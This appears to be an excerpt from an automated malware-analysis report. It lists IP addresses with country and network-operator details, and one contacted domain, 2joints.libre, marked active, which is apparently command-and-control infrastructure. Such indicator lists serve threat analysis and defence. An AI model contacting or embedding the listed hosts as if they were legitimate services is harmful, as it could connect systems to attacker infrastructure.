189.58.129.252
 unknown Brazil
18881 TELEFONICABRASILSABR false
163.80.159.103
 unknown France
17816 CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi false
190.70.38.25
 unknown Colombia
13489 EPMTelecomunicacionesSAESPCO false
210.217.137.228
 unknown Korea Republic of
7557 KTNET-ASKoreaTradeNetworkKR false
206.32.172.124
 unknown United States
3356 LEVEL3US false
219.150.63.165
 unknown China
17638 CHINATELECOM-TJ-AS-APASNforTIANJINProvincialNetofCT false
107.172.205.9
 unknown United States
36352 AS-COLOCROSSINGUS false
217.103.229.214
 unknown Netherlands
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
145.19.141.180
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
99.180.95.189
 unknown United States
7018 ATT-INTERNET4US false
171.249.142.178
 unknown Viet Nam
7552 VIETEL-AS-APViettelGroupVN false
53.80.214.64
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
194.80.189.41
 unknown United Kingdom
786 JANETJiscServicesLimitedGB false
8.28.71.217
 unknown United States
19067 VAILSYSUS false
136.164.178.152
 unknown Norway
42175 STAOIL-ASNO false
172.7.46.157
 unknown United States
7018 ATT-INTERNET4US false
162.129.58.66
 unknown United States
5723 JHUUS false

Contacted Domains

Name IP Active
2joints.libre 103.253.147.242 true